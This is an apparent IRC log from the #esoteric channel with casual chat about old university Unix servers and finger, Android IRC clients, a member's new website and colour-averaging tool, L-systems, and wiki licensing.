19:25:03 <fizzie> I got some feedback that mentioning the word "hacker", even if it's qualified with "older sense" or some-such, in a personal page means one won't ever get a job, because all HR departments will immediately disqualify an applicant when they see the word in their regular googling run.
19:25:38 <elliott> Similarly for "speech recognition researcher".
19:25:51 <fizzie> Yes, but that just makes sense. The first one doesn't.
19:27:17 <elliott> http://www.mezzacotta.net/garfield/?comic=519 -- fizzie and Taneb together almost a YEAR before the latter first visited us.
19:28:12 <fizzie> That was all kinda spooky, yes.
19:28:39 <fizzie> I think I did notice the name at some point, though.
19:34:20 <elliott> "An image of the Main Page of Wikipedia watermarked, claimed as copyrighted, and sold by Getty Images and Agence France-Presse. Wikipedia text is licensed CC-BY-SA 3.0 which requires the same or similar free license on all derivative works."
19:34:34 <elliott> For "no self reference" guys, those Wikipedians sure like using themselves as an example.
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19:39:35 <MDude> I don't think you'd need to care about the liscense if it was somehow otherwise fair use, but I don't see how that would be the case here.
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19:40:59 <elliott> http://upload.wikimedia.org/wikipedia/commons/6/6e/WP_on_Getty_images_with_watermark.jpg is the image in question.
19:41:16 <elliott> Clearly the computer around it constitutes a new creative work.
19:41:38 <elliott> (Actually it probably does.)
19:58:48 -!- nortti has joined.
20:01:03 <elliott> fizzie: http://dfclan.org/wazzledoozle/eon5.jpg
20:06:35 <elliott> fizzie: YOU TOO can relive the eon8 experience: http://www.youtube.com/watch?v=yl1u38O90aA
20:08:22 <nortti> "James' resemblance to Montgomery
20:09:05 <nortti> www.cracked.com/article_19723_5-insane-cases-imposters-passing-world-leaders.html
20:11:09 <elliott> "and even started using a prosthetic finger, since Montgomery had lost a finger on his right hand in World War I."
20:11:10 <nortti> Shit! It cut some text off of my message
20:11:15 <elliott> Wait, how does that make you *lose* a finger?
20:12:14 -!- augur has joined.
20:12:37 <nortti> "James' resemblance to Montgomery
20:13:49 <nortti> Why is is giving me (421) got :Unknown command, (421) saw :Unknown command and (421) to :Unknown command
20:14:31 <elliott> nortti: do you have lines starting with /?
20:15:13 <elliott> it seems like it's sending a new irc message for every few words of your line
20:15:23 <elliott> except it's forgetting the "PRIVMSG #esoteric :" on all but the first
20:16:46 <fizzie> Embedded newlines in the paste, but it sounds very weird to have a client that would break on that.
20:18:03 <nortti> Well. I am using AndroIRC
20:18:22 <nortti> "James' resemblance to Montgomery got him the attention of MI5, who saw in him the perfect opportunity to troll some Nazis." Did it work this time?
20:18:35 <elliott> fizzie: I suppose pasting them in is the only way that could happen on Android.
20:18:47 <elliott> fizzie: So it probably does "PRIVMSG " + chan + " :" + msg + "\r\n" or something silly like that.
20:18:59 <elliott> Good to know it's a quality client.
20:19:57 <nortti> Only working client that didn't want to be able to look at my contacts or make phonecalls
20:20:37 <olsner> android should have an "allow access but always give it fake data" option when installing apps
20:21:24 <olsner> that or the good old system where every access to protected stuff makes the OS pop up a confirmation dialog
20:21:55 <nortti> I have that for apps that want to know where I am (I usually set it yo north pole or Area 51)
20:22:38 <boily> area 51 isn't at the north pole?
20:24:03 <elliott> nortti: What about the South Pole, man???
20:24:22 <boily> (need to go. bye all!)
20:24:23 -!- boily has quit (Quit: WeeChat 0.3.7).
20:24:52 <nortti> It is pretty funny to see facebook of my friend who uses random locations.
20:25:10 <nortti> elliott: I also use it sometimes
20:30:42 <nortti> Sometimes I forget to turn Fake GPS off before using a navigation. Results are interesting
20:32:43 -!- oerjan has joined.
20:33:02 <nortti> Just interested. Where do you live?
20:34:01 <nortti> By you I meant you all
20:34:59 <nortti> Why did english language abandon thou?
20:35:31 <oerjan> elliott lives in pentamutton, westochreshire
20:35:48 <elliott> I pent a mutton every day.
20:36:35 <oerjan> i'm in norway, which all americans know is the capital of sweden
20:36:52 <olsner> more like a suburb of sweden
20:36:55 <itidus21> i thought norway was a country
20:37:14 <olsner> itidus21: norwegians think so too :)
20:37:28 <itidus21> i was in suspension of disbelief
20:37:38 <oerjan> large unidentified flying object observed over itidus21, causing stray winds
20:37:48 <nortti> oerjan: well I live in finland and many people think that it is in siberia
20:38:14 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
20:38:37 <elliott> `learn Norway is the suburb capital of Sweden.
20:38:43 <elliott> `learn Sweden is the suburb capital of Norway.
20:38:52 <oerjan> elliott: hey i was going to do that
20:39:01 <HackEgo> elliott wrote this learn DB, and wrote or improved many of the other commands in this bot. He probably has done other things?
20:39:04 <elliott> oerjan: How coincidental! I was going to make you a wiki sysop!
20:39:44 <oerjan> `learn Norway is the suburb capital of Sweden. It's where the Nobel Peace Prize is announced.
20:39:55 <nortti> 5 finnish people out of 2 are on this channel...
20:39:56 <fizzie> I think (a) you should keep escalating that threat, and (b) it should be something like the dictator-for-life of the world at this point.
20:40:23 <oerjan> `learn Sweden is the suburb capital of Norway. It's where all the Nobel prizes are announced, except the Math Prize.
20:40:46 <elliott> nortti: Yes. Actually it's more than 5 now.
20:41:07 <elliott> `learn Siberia is the capital of Finland. It's where the Fields Medal was first synthesised.
20:41:28 <elliott> fizzie: Don't I have to become dictator-for-life of the world before I can appoint other people that?
20:42:20 <olsner> if you're dictator for life, you can only appoint other people if you die first
20:42:26 <oerjan> fizzie: also, dictator-for-life of the world is implied by my .plan, so how is that a threat?
20:42:45 <elliott> olsner: No, I can just redefine my own job title.
20:42:48 * elliott wonders what oerjan's .plan is.
20:43:11 <itidus21> According to the licensing agreement you can only use the software if you are dictator-for-life of the world.
20:43:12 <oerjan> sprocket:oerjan:~> cat .plan
20:43:12 <oerjan> World domination through widespread nonsense and confusion.
20:43:33 <elliott> Well, you've got the nonsense and confusion part down.
20:43:37 <HackEgo> Your evil overlord oerjan is a lazy expert in future computation.
20:44:14 <oerjan> MY PLAN IS WORKING *MWAHAHAHAHAHA*
20:44:27 <elliott> oerjan: ...but not the "widespread" part.
20:44:38 <elliott> What package is finger(1) in this century?
20:45:00 <oerjan> elliott: excuse me, but i think you are repeating my lines from when we last discussed .plans here
20:45:17 <oerjan> elliott: i suspect nvg may not accept external finger requests
20:45:45 <elliott> Yes, that was what I was trying to find out.
20:45:55 <elliott> Although my first attempt was "ssh sprocket.nvg.ntnu.no".
20:46:12 <elliott> Unfortunately it seems they have yet to give me an account. I've even emailed them before and everything.
20:46:25 <elliott> Although not about getting an account, admittedly.
20:47:11 <oerjan> elliott: well at least internal finger works.
20:47:39 <elliott> fizzie: You know what package finger is in, right?
20:48:22 <olsner> archaic-useless-tools?
20:48:43 <olsner> or maybe it was just archaic-tools
20:49:13 <oerjan> hm iirc there used to be a web member list that showed the .plan, but now the list just links to my homepage.
20:49:37 <olsner> oh, so this finger business is for displaying oerjan's .plan?
20:49:47 <olsner> he already told us though
20:50:03 <elliott> Yes, but it's more authentic from the source.
20:50:48 <oerjan> finger oerjan@sprocket.nvg.ntnu.no _does_ work _from_ sprocket :P
20:51:20 <oerjan> as does finger oerjan@tyrell.nvg.ntnu.no, in case one suspected it was purely local.
20:51:58 <calamari> thanks for the fake gps app mention.. set my location to equestria.. according to google maps, that's in south africa
20:53:25 <elliott> oerjan: YOU USE TCSH?!?!?!?!
20:53:39 <oerjan> eek, finger actually works?
20:54:04 <oerjan> i had the impression they removed it for security reasons.
20:54:29 <oerjan> and yes, i have not changed my shell since i got the account in 1992 or so
20:54:37 <nortti> oerjan: what security reasons?
20:54:55 <oerjan> nortti: it _does_ tell when i was last logged in and stuff...
20:55:05 <nortti> oerjan: why you use tcsh?
20:55:05 <elliott> It tells me you have two ptys open, too. :p
20:55:11 <oerjan> only to that machine, though.
20:55:12 <elliott> But seriously, stop using tcsh.
20:55:35 <oerjan> elliott: but then i'd have to rewrite my login scripts :(
20:55:42 <elliott> Ooh, oerjan has an office.
20:56:03 <nortti> elliott: what shell do you recommend?
20:56:04 <oerjan> elliott: i was wondering about that office. it hasn't been current since at least 2000.
20:56:04 <olsner> what, an office!? I thought he was a student
20:56:19 <elliott> olsner: He's... what do you call it... when you stop being a student and retire from studentry.
20:56:20 <oerjan> i'm not sure where the data for that field is...
20:56:22 <calamari> tcsh was always my preferred shell, but I got used to bash
20:56:31 <elliott> olsner: No, I think it's called a Ph.D.
20:56:50 <olsner> hmm, that's just another kind of student, isn't it?
20:57:10 <elliott> So once you get a Ph.D., you're a student for life?
20:57:15 <elliott> oerjan: Did you know you've never logged in to whatever machine plain nvg.ntnu.no points to?
20:57:32 <elliott> Also, apparently oerjan's name starts with an "a", going by /home/lusers/a/oerjan.
20:58:02 <elliott> He also hasn't checked his mail in 35 minutes. finger(1) is rather intrusive, it seems.
20:58:39 <olsner> does it tell you when his last bathroom break was?
20:58:52 <elliott> Yes, but I will redact that information for the sake of the logs.
20:59:04 <elliott> oerjan: I'm surprised it doesn't mangle your Unicode realname.
21:00:29 <oerjan> <elliott> oerjan: Did you know you've never logged in [...] <-- that's quite likely, in recent years i've used tyrell and sprocket to log in, and before sprocket it was hagbart (r.i.p., i think)
21:01:06 <elliott> Well, finger can't connect to hagbart, so let's say RIP.
21:01:07 <nortti> "When you log into a unix machine you can finger your friends. You can also get head, and get tail (of a file), take a dump, or mount something (a drive). You may also fsck your drive"
21:01:08 <oerjan> plain nvg is not intended as a login server at all, i think.
21:01:14 <elliott> I remember you logging in from hagbart.
21:01:56 <oerjan> way back we were all on swix, nvg's first machine, a vax ultrix server
21:02:03 -!- augur has quit (Remote host closed the connection).
21:02:07 <elliott> What's the naming convention?
21:03:53 <fizzie> We don't have an accessible finger service any more. :(
21:03:53 <oerjan> elliott: i think it's somewhat haphazard. tyrell is probably a bladerunner reference, hagbart _may_ be a child show or literature character (we had several of those), sprocket ... oh i just remembered, it's the dog from fraggle rock
21:04:26 <oerjan> (don't know if it was named the same in english)
21:04:56 <olsner> oerjan is apparently logged in twice on sprocket
21:04:59 <oerjan> swix was a pun on vax - it's a well know (at least in norway) ski wax brand
21:05:14 <oerjan> olsner: i opened a second terminal to check finger
21:05:38 <nortti> on our chool server is named Uranus-Hertz
21:06:16 <oerjan> elliott: erm i don't know about the ski part
21:06:33 <elliott> shouldn't it have been svix? :p
21:07:01 <olsner> http://www.swixsport.com/
21:07:02 <elliott> nortti: i take it you have very mature sysadmins
21:07:23 <oerjan> hm apparently there's still a machine responding to swix
21:08:10 <oerjan> i'm not convinced it's a vax though. hm...
21:08:24 <elliott> Well, it's running an sshd.
21:08:48 <elliott> (What's the nmap switch to try and figure out what OS a system is using?)
21:08:52 <oerjan> ooh it's actually SunOS
21:09:29 <nortti> elliott: I have root account on that server and I am the sysadmin currently after old admin leaved. It is pentium II with 256 mb of memory
21:09:32 <oerjan> swix:oerjan:~> uname -a
21:09:32 <oerjan> SunOS swix 5.9 Generic_122300-29 sun4u sparc SUNW,Ultra-5_10 Solaris
21:10:10 <elliott> nortti: that's a yes then ;D
21:10:26 <elliott> I don't think Pentium IIs even go up to Uranus Hz.
21:11:36 <oerjan> ah plain nvg is sabre-wulf, i remember that
21:11:39 <fizzie> oerjaneA "SunOS vipunen.hut.fi 5.10 Generic_147440-03 sun4u sparc SUNW,Sun-Fire-880" nyar nyar ours is newer.
21:11:49 <nortti> best part oof being sysadmin is when cleaning staff trips over the power cord..
21:12:02 <oerjan> a boring i386 linux :P
21:12:58 <oerjan> <elliott> oerjan: I'm surprised it doesn't mangle your Unicode realname. <-- oh hm it _does_ mangle when i finger it, i suspect it's _actually_ in latin-1
21:13:02 <elliott> what're sprocket and tyrell? I'M CURIOUS NOW
21:13:08 <elliott> oerjan: oh. well it displays properly for me with a remote finger.
21:15:41 <olsner> 00000010 20 20 20 20 20 20 09 09 09 4e 61 6d 65 3a 20 d8 | ...Name: .|
21:15:56 <oerjan> elliott: oh wait hagbart is alive! (i686 linux)
21:17:33 <oerjan> <elliott> shouldn't it have been svix? :p <-- um i don't think the swix trademark is a pun, naming a vax that is the pun
21:18:53 <elliott> am i missing something? i assumed swix was chosen because vax sounds vaguely like wax.
21:18:57 <oerjan> elliott: sprocket is x86_64 linux
21:19:16 <oerjan> elliott: yes, of course, norwegian doesn't have a w sound.
21:19:41 <oerjan> also en:wax = no:voks, fwiw
21:19:42 <elliott> ah. that makes more sense, then.
21:19:45 <nortti> oerjan: are you still using vaxen?
21:19:54 <elliott> oh. that makes even more sense, then.
21:20:01 <oerjan> nortti: i don't know of any.
21:20:57 <olsner> oerjan: oh, it's much better in swedish then, en:wax = sv:vax
21:21:35 <oerjan> tyrell and sprocket are also Debian
21:22:10 <elliott> Maybe Swedes came up with the pun.
21:22:25 <elliott> oerjan: (Do people actually distinguish i386 and i686 these days?)
21:22:55 <oerjan> elliott: i dunno, i'm just reporting from uname -a
21:23:55 <nortti> our school got rid of 5" floppy drives and betamax videos last year, but we still have reel-to-reel decks and slide projectors
21:25:20 <nortti> they also distinguish between i586 and i686
21:27:33 <elliott> Not even Debian does that.
21:29:33 <nortti> 10.10 is last i585 version and newer are i686 versions
21:31:11 <elliott> "Distinguish" as in "name separately", not as in "don't drop hardware support for" :P
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21:32:29 <fizzie> I think Slackware had some 'i486'-specific packages. Oh, and then there was that whole mess with gcc/pgcc/egcs mess, but that doesn't quite count.
21:32:52 <fizzie> "Pentium Pro or later" is a good approximation.
21:33:48 <elliott> fizzie: Well, Debian has (IIRC) 486 and 686 kernels.
21:33:50 <nortti> also mmx and sse screw these things up somewhat
21:33:54 <elliott> (I suppose that means they don't support 386 these days?)
21:34:05 <fizzie> No love for the 386s. :(
21:34:19 <elliott> http://lists.debian.org/debian-devel/1999/12/msg00397.html Apparently not.
21:34:25 <elliott> Despite the port being called "i386".
21:34:30 <elliott> I guess i[46]86 is less catchy.
21:34:36 <elliott> > > running debian hamm on 386sx/20, 8m, 116m disk
21:34:37 <lambdabot> <no location info>: parse error on input `>'
21:35:02 <fizzie> I think it's something like sarge which no longer officially does i386 at all.
21:35:09 <nortti> elliott: if I remember correctly even linux kernel doesn't build on i386
21:35:50 <elliott> "On"? Surely you mean "for".
21:35:55 <elliott> Or is it that it requires more RAM than 386 can do?
21:36:24 <elliott> Re: Debian on a 386? Unlikely. (was: ramblings about old hardware,gzip, bz2, and pentium op)
21:36:28 <elliott> A very topical topic, that.
21:36:57 <olsner> could you get new stuff running on 386 by trapping and emulating?
21:37:41 <elliott> fizzie: Remember when I made those mcmap/mchost changes and spent approx. 500 years de-tangling them into something reasonable?
21:37:47 <elliott> At least it was easier than this: http://blog.plover.com/prog/git-habits.html
21:38:18 <nortti> olsner: probaby, but it would be slow
21:38:28 <fizzie> linux-3.1.5 at least still has ""386" for the AMD/Cyrix/Intel 386DX/DXL/SL/SLC/SX, Cyrix/TI 486DLC/DLC2, and UMC 486SX-S. Only "386" kernels will run on a 386 class machine." in the 'processor type' Kconfig setting.
21:38:50 <elliott> http://veracity-scm.com/ Hey, what's this and why didn't anybody tell me about it?
21:40:11 <fizzie> Apropos, did you know that the color of esoteric is #975b40? (It's kind of a quite boring reddish-grayish-brown.)
21:41:03 <nortti> www.japheth.de/HX.html
21:41:05 <fizzie> I sort of slightly reimplemented it.
21:41:23 <fizzie> Well, with a new way of determining the single color.
21:41:25 <fizzie> See http://zem.fi/misc_gcolor.html
21:42:13 <fizzie> It's all doc-doc-documented.
21:42:24 <olsner> slightly reimplemented :D
21:42:46 <fizzie> olsner: Maybe 'slightly' is not quite the right word, since it doesn't share any code with the previous version.
21:43:35 <olsner> so "reimplemented" is the right word then :)
21:44:03 <olsner> I guess it doesn't hurt to include both words just in case
21:44:05 <nortti> why does no one use #691337 or #caccaa as bg color on their site
21:45:13 <elliott> oerjan: "The preceding point aside, I have trouble believing any language with only a single-byte memory space can be TC. Moreover, the claim that \ "enqueue the byte again, followed by two zero bytes" doesn't make sense when the queue's capacity is just a single byte. Or does it actually mean something else, like a single queue of bytes, or a queue of single bytes?"
21:45:28 <elliott> oerjan: this comment has to be a gripe at the wording rather than serious confusion, right...?
21:45:48 <elliott> "Qdeql is an esoteric programming language devised by User:Graue that provides a single byte queue as the only form of memory available to programs."
21:45:56 <fizzie> I put that 'historical footnote' bit at the bottom in because there's some upstart Web 3.11 http://thecolorof.com/ site, that just sums together images from flickr to get a "color" (i.e. a full image). Okay, sure, it's visually speaking a lot prettier, but I've got like $\infty$% more Greek letters in my description.
21:46:15 <fizzie> Also von-Mises Fisher distributions.
21:46:16 <elliott> fizzie: aaaa when did zem.fi become a real thing.
21:46:29 <fizzie> Something like a day ago.
21:46:32 <elliott> It scares me! Make the homepage unstyled and useless again!
21:46:58 <fizzie> I managed about thirty hours before plugging it on #esoteric, I think that's a reasonably good job.
21:46:58 <elliott> You need a clear: both on your headings, anyway; "irregular colors" is indented.
21:47:11 <elliott> Also, you have some typos: "colors" for eaxmple.
21:47:48 <elliott> Why are all your links enclosed in brackets?
21:48:08 <fizzie> But it's done with :before { content: } nonsense so it's easy to get rid of it.
21:48:17 <fizzie> It's all a bit expeerimental, and websites are not really my thing.
21:48:24 <elliott> You could use MathJax and then your LaTeX wouldn't be unreadably small. :p
21:48:46 <fizzie> I tried jsMath (the only thing I know of) and it just didn't want to work for me.
21:48:49 <elliott> http://zem.fi/misc_gcolorex.html is prettily laid-out, I must admit.
21:48:53 <elliott> fizzie: Mathjax is the successor of jsMath.
21:48:59 <elliott> It's (a lot) less painful now.
21:49:14 <elliott> They have a CDN thing so you can just pop a script line in.
21:49:40 -!- nortti has quit (Quit: nortti).
21:50:26 <fizzie> I'll have to consider that. I did the current LaTeX with my own script after trying out 'mathtex' (from Ubuntu repos) and 'texvc' (that thing MediaWiki uses); neither one provided any exactly obvious ways to align the image's baseline with the surrounding text for inline math.
21:50:46 <elliott> "Regarding the first half, I do noise-robust speech recognition related activities" -- yes, they're quite robustly noisy, in the "opposite of signal" i.e. nonsense sense.
21:51:27 <elliott> Do Finns really speak of being "in" IRC networks? That's so cyberpunk.
21:51:30 <fizzie> Fortunately, being a speech-recognition guy, I can't hear any disparaging IRC remarks like that.
21:52:12 <fizzie> And at least the Finnish suffix I'd use in that sentence is most closely related to the "in" preposition.
21:52:19 <elliott> Also, your content area has a 1px border at the bottom of it.
21:52:20 <fizzie> We do say "in the Internet" too.
21:52:26 <elliott> It's ugly, because the sidebar doesn't.
21:52:54 <elliott> Oh, it's for when the content is shorter than the menu. There's ways to do proper 2-column with portable CSS these days, you know.
21:53:12 <fizzie> Probably, but websites aren't my thing. And I read through like three Google results on the topic.
21:53:56 <elliott> In the continuing "EVERY WAY IN WHICH FIZZIE'S WEBSITE IS WRONG" series, you have an non-canonical trailing / in your link to mcmap.
21:54:25 <elliott> (Also surely "gcolor" belongs in "code".)
21:54:50 <fizzie> Maybe if I could manage myself to actually show any code. :p
21:55:14 <elliott> What's the colour of "closed source"?
21:56:00 <fizzie> I'll calculate. It will take 8 minutes. (I have rather paranoid delays in the Google-facing bits.)
21:56:32 <elliott> fizzie: By the way, the dragon curve logo is way too slow.
21:56:32 <fizzie> At least I'm taking a stand against todays instant-gratification age and blah blah blah.
21:56:40 <elliott> Actually all of them are, apparently.
21:57:05 <fizzie> It's in fact the fastest of them. If it's the l-system dragon-curve.
21:57:41 <elliott> Are your http://zem.fi/misc_logo.html lines really that long?
21:58:01 <fizzie> Sadly. It's a direct inclusion of logo-images.txt.
21:58:11 <fizzie> Maybe I should've supported continuation lines.
21:58:16 <elliott> Also, if I read your source code right, your menu is broken if JS is disabled.
21:58:39 <elliott> Shouldn't you add at least <noscript><style type="text/css">allnavthings { display: block !important }</style></noscript>?
21:58:46 <fizzie> JS just does the underlining of "current" item.
21:58:49 <fizzie> Rest of it is static HTML.
21:58:58 <elliott> navopen('misc') is suspicious.
21:59:04 <fizzie> Well, it's "open" as in "underline it".
21:59:10 <elliott> The usual meaning of "open".
21:59:25 * elliott notes that fizzie considers two zem.fi links "external".
21:59:26 <fizzie> It's because it does .addClass('open'), but that doesn't affect visibility.
21:59:41 <fizzie> Well, they lead "away" from the thing.
22:00:08 <elliott> "Pattern Recognition Society of Finland gave it the "best pattern recognition master's thesis in Finland 2009" award."
22:00:14 <elliott> That does not sound like a particularly tough competition.
22:00:18 -!- nortti has joined.
22:00:42 <fizzie> elliott: I don't really know how many competitors there were. Probably not more than a dozen?
22:00:58 <elliott> So... 600% of Finland's population?
22:01:25 <elliott> fizzie: By the way, you made a typo in one of your last 50 lines.
22:01:35 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
22:02:13 -!- tzxn3 has quit (Read error: Connection reset by peer).
22:02:28 <oerjan> <elliott> oerjan: this comment has to be a gripe at the wording rather than serious confusion, right...? <-- you'd think :P
22:03:18 <elliott> http://upload.wikimedia.org/wikipedia/commons/7/79/Kochsnowflake_algorith_modified.jpg Oo-ah.
22:03:37 <elliott> oerjan: Hey, is it possible to compute the fixed point of an L-system?
22:04:12 <elliott> I guess that doesn't make much sense, since the result is an infinite set... how about "is the predicate 'point (x,y) in the fixed point of an L-system' computable"?
22:04:35 <elliott> Except x and y are reals, but... you work out what I mean.
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22:05:50 <fizzie> Some of the logos are kinda silly. Like http://zem.fi/index.html?logo=ifszem
22:06:54 <elliott> By "silly", you mean "I will now promote the best logo"?
22:07:32 <fizzie> I'm not sure which one is the best. Personally I kind of like the trees, but admittedly they're what everyone does.
22:07:38 <oerjan> elliott: i only quarter-remember what an L-system is.
22:08:03 <elliott> You know, http://en.wikipedia.org/wiki/L-system#Example_6:_Sierpinski_triangle these things.
22:09:24 <fizzie> (I was sort of not having very many original ideas.)
22:10:11 <elliott> fizzie: You forgot to ATTRIBUTE WIKIPEDIA.
22:10:39 <fizzie> Oh no, that's a CAPITAL OFFICE.
22:12:22 <oerjan> elliott: wouldn't this lead to the usual issues with equality of computable reals?
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22:12:38 <oerjan> other than that, it seems easy enough...
22:12:47 <elliott> oerjan: Yeah, let's require x and y to be rationals.
22:13:14 <elliott> You can't just iterate and check, unless there's some kind of bound you can establish for how long it'll take an L-system to draw there.
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22:16:02 <oerjan> hm on second thought, i guess that could be tricky.
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22:23:52 * oerjan ponders that EsoAPI revision deletion.
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22:24:41 <oerjan> if our wiki had a license which required attribution, then you would also have to delete any _other_ text introduced in those hidden revisions. but since we don't, i guess you don't.
22:25:51 <oerjan> or wait, since the edit author and summary are still in the history, maybe it wouldn't matter regardless
22:27:01 <elliott> oerjan: Yes, no license requires you to provide diffs of every stage of a page's development.
22:27:46 <elliott> oerjan: It's very unfortunate that someone can make years' worth of history and development completely inaccessible with an innocent attempt to preserve content.
22:27:50 <elliott> Thankfully the changes were minor in this instance.
22:29:03 <oerjan> i guess in _theory_ you could somehow provide censored diffs to preserve some of the rest
22:29:10 <olsner> "someone can make years' worth of history and development completely inaccessible", really?
22:29:43 <elliott> olsner: yes, if the material added was copyrighted
22:29:50 <elliott> then the revisions have to be hidden
22:30:02 <elliott> oerjan: yes, it would be nice to be able to do that.
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22:31:04 <olsner> couldn't you argue that since the later revisions have been made from readers of the older revisions, everything's a derived work and you have to restart from before the copyrighted addition?
22:31:30 <elliott> olsner: Certainly, but probably not convincingly.
22:31:33 <fizzie> elliott: oh right I completely forgot closed source => #bf886e open source => #6cc459 see closed source is INDUSTRY DEATH GRAY BROWN CRAP while open source is LIVING MOTHER EARTH GREEN SPIRIT both are at http://zem.fi/misc_gcolorex.html with colors.
22:32:01 <elliott> fizzie: What... what did gcolor do to you?
22:32:28 <elliott> fizzie: You should add a CGI script where you can submit queries to get results for!
22:32:45 <fizzie> I should. Or something interactive like that, anyway.
22:33:34 <elliott> It does surprisingly well for "Cthulhu".
22:33:42 <Phantom_Hoover> fizzie, since when did you have such classy site design?
22:33:48 <elliott> Phantom_Hoover: IT'S HORRIFYING
22:34:04 <elliott> fizzie: You should also make it output averages of all the thumbnails it uses!
22:34:10 <elliott> fizzie: With RGB *and* HSV!
22:34:16 <elliott> (Okay, some rescaling may be required.)
22:34:31 <fizzie> Phantom_Hoover: Since, like, one day ago, and elliott's been busily enumerating its many faults.
22:34:39 <zzo38> Is the program code for the gcolor available?
22:35:17 <Phantom_Hoover> fizzie, dude, your bio doesn't even mention your favourite food.
22:35:19 <fizzie> zzo38: No :( :( but I'll try to put it somewhere reasonably soon.
22:35:42 <fizzie> Those upstart thecolorof.com "we don't have any parametric distributions at all" subhumans have it a lot more interactiver-er and flashy. :'(
22:35:44 <olsner> "Heikki Kallasjoki". officially, "fizzie"
22:35:54 <elliott> oerjan: out of curiosity, why aren't e.g. BitBitJump and Brainfuck abbreviated in the header of EsoInterpreters?
22:35:58 <zzo38> What programming language did you use to write it?
22:36:01 <olsner> you seem to have swapped the period and the comma in your bio
22:36:01 <fizzie> olsner: I think officially I'm now "null Kallasjoki".
22:36:24 <fizzie> zzo38: It's in Python, and it uses the Numpy package for the more mathematical parts.
22:36:31 <olsner> oh, you've changed your name recently?
22:36:44 <fizzie> olsner: My ISP graciously changed it for me.
22:36:58 <fizzie> (At least I assume so.)
22:37:26 <elliott> oerjan: (translation: in my rewrite of [[EsoInterpreter]]'s table, is there any reason to keep it like that?)
22:40:17 <oerjan> elliott: i'm a bit wary of that abbreviation in general...
22:40:31 <oerjan> but of course it makes it less wide
22:41:20 <oerjan> heh, maybe we should use vertical text for that instead ;P
22:41:35 <elliott> oerjan: that was what the original version did.
22:41:48 <elliott> assuming it can be hovered over
22:42:02 <elliott> (it can be rotated with css)
22:43:32 <elliott> oerjan: (now I'm thinking that might be a good idea...)
22:43:34 <oerjan> i think i recently saw something about that, but i also read that it was one of things which strangely _only_ IE supported :P
22:43:48 <oerjan> but of course that may be outdated.
22:44:05 <oerjan> (read in the Wikipedia table help, i think)
22:44:31 <elliott> yes, it works cross-browser nowaday
22:44:42 <elliott> what would be best is a slanted table heading, where the text is on a diagonal
22:44:48 <elliott> but CSS can't do things /that/ advanced, afaik
22:45:11 <olsner> transforms should let you rotate it any which way you want, I think
22:50:48 <elliott> olsner: yes, but the table headings need to line up properly
22:51:01 <elliott> they should attach to the top of the rows, and be "lined up" with each other
22:51:21 <elliott> ok if I rotated the text to be vertical then rotated the whole th it could work
22:53:18 <elliott> fizzie: ban Phantom_Hoover
22:56:54 <elliott> [[{{#if: {{User:ehird/sandbox/data|{{{1}}}|?article}} | {{User:ehird/sandbox/data|{{{1}}}|?article}} | {{User:ehird/sandbox/data|{{{1}}}|?name}} }} | {{User:ehird/sandbox/data|{{{1}}}|?name}}]]
22:57:00 <fizzie> Phantom_Hoover: It takes eight minutes with my current "very polite" google-scripts, it's not exactly interactively-friendly, except maybe in a queue form. And the webserver probably doesn't have most of the things installed; I'm sure it doesn't have numpy. But yes, it's been proposed.
22:57:33 <olsner> write it in javascript, let it run on the user's computer instead?
22:57:44 <shachaf> elliott: Whoa, man, crazy esolang you've got there.
22:57:46 <elliott> oerjan: http://esolangs.org/wiki/User:Ehird/sandbox/table
22:57:51 <olsner> on the *browser, I mean
22:58:12 <elliott> fizzie: I was imagining that there'd be a queue of requests-to-be-done that you could see, and if it's short enough you could add an entry.
22:58:27 <elliott> (After filling out a CAPTCHA to prevent bots making it useless, I suppose.)
22:58:29 <fizzie> olsner: That's one way, but then the results don't end up shared. And JavaScript doesn't run numpy either.
22:58:36 <elliott> Then a big (searchable?) list of requests it's already done.
22:59:01 <fizzie> (Admittely there's not *that* much of the math.)
22:59:02 <elliott> And of course if you entered something that's already been done into the box it'd just send you there. (Maybe with a "refresh" link to re-add it to the queue if it's more than a few months old.)
22:59:08 <elliott> (And you could store all the historical versions too!!!! The best.)
22:59:24 <fizzie> (Though I'm not sure if JavaScript Math has modified Bessel functions of the first kind.)
22:59:25 <olsner> fizzie: you can put the results on your server without putting all the work there
22:59:34 <fizzie> olsner: But then people could CHEAT.
22:59:43 <fizzie> Upload it full of RED.
23:00:11 <olsner> I'll upload it all chartreuse or thursday
23:00:24 <elliott> fizzie: Your month colours are surprisingly good.
23:00:52 <elliott> Apparently nostalgia = indifference.
23:00:59 <fizzie> elliott: "July" is the way it is because most (all?) of the images are for July 4th fireworks; and all February results are Valentine's day -related.
23:01:23 <elliott> fizzie: Your menu might want to be position: fixed.
23:02:13 <fizzie> (I should probably be keeping a list of notes.)
23:02:15 <elliott> Also, do you really have rights to redistribute https://gist.github.com/2017454#file_d3des.c?
23:02:19 <elliott> * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
23:03:25 <fizzie> I think I saw something BSDy about it, but I see I have not reproduced the license bit.
23:03:38 <fizzie> (It's from some other VNC implementation, IIRC.)
23:05:18 <elliott> Okey, http://esolangs.org/wiki/User:Ehird/sandbox/table now looks like a thing. Except that it doesn't ever omit columns/rows when it should.
23:05:28 <fizzie> I may have also forgotten to include d3des.h in the Gist.
23:05:47 <elliott> fizzie: Are you sure that thing -- with its full README and many files -- is really Gist's intended audience? :p
23:05:53 <elliott> I hear they have a larger version of Gists now, for actual projects.
23:06:20 <shachaf> elliott: It's not violating anyone's rights if it's just in a "Gist".
23:07:35 <elliott> shachaf: I think the Berne Convention begs to differ.
23:07:46 <elliott> (Also, "not having rights" =/= "violating someone's rights".)
23:08:12 <olsner> elliott: all the links go to example.com
23:08:36 <fizzie> Heh, same d3des.c with not much about the license (with no comments in the other licensing bits, except "Parts of QEMU have specific licenses which are compatible -- each source file contains its own licensing information") is in qemu's trunk.
23:09:02 <elliott> fizzie: Better: Let Fabrice Bellard: know.
23:09:36 <olsner> elliott: are they supposed to do that!!?
23:09:58 <fizzie> Richard Outerbridge would be spinning in his grave if he knew. (And was dead. (Is he dead?))
23:10:10 <fizzie> "Outerbridge" sounds like a made-up name anyway!
23:27:34 <oerjan> <fizzie> Sorry, the E.ON energy company is my only mental association with 'eon'. <-- my mental association with 'eon' is a norwegian comic that's essentially a bloom county clone
23:30:43 <oerjan> the second main character introduced in it was God, btw
23:32:44 <oerjan> another nice character is a fundamentalist christian lady who keeps getting into battles with the main characters for their being heathen scum (and yes, that includes God)
